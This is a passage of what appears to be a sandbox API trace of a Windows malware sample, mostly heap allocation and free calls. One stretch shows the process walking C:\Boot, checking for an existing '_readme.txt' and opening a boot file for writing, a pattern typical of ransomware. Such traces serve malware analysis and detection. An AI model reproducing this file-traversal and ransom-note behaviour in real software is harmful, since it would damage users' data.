[0122.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.465] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.465] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.466] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.467] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.467] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.468] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0122.468] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.468] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.468] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.468] PathFindFileNameW (pszPath="") returned="" [0122.468] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.468] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.468] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.468] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.468] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.468] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x30667b8 [0122.468] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.468] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.468] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0122.468] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.468] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned 1 [0122.469] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.469] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.469] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.469] PathFindExtensionW (pszPath="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned=".mui" [0122.469] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.469] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13aa5870, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.469] PathFindExtensionW (pszPath="C:\\Boot\\el-GR\\_readme.txt") returned=".txt" [0122.469] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13aa5870, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.469] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.469] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.469] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.469] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.470] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.470] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.470] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.470] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.470] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.470] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.470] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.470] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.470] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.470] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.470] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.470] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.470] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.470] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.470] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.470] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.471] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.472] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.472] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.473] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 